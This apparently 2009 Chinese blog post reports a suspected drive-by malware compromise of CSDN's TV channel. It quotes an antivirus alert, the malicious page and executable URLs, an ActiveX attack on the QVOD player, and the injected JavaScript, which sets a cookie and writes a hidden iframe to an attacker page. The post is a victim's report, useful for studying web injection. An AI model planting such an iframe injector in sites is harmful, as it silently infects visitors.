优快云的TV频道是不是被被动挂马了

8/25/2009 2:24:00 AM

访问地址：http://baidu824.8866.org/5/ecwerwerbbb.htm
访问网页的进程："D:/Program Files/Maxthon2/Maxthon.exe"
病毒名称：Suspicious.ShellCode.Exploit
病毒来源：http://fuck.ss.la/5.exe

 

另外还有针对QVOD的ActiveX通道攻击从：60.173.10.163：80----------〉192.168.1.2：3414

很白的说60.173.10.163就是 转向8866.org的地址，里面就是一段js

function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 9999000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookiecc1c="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookiecc1c=hhhh;expires="+ Then.toGMTString()
document.writeln("<iframe src=http://baidu824.8866.org/aa/a3a.htm width=123 height=1></iframe>");
}
}Get();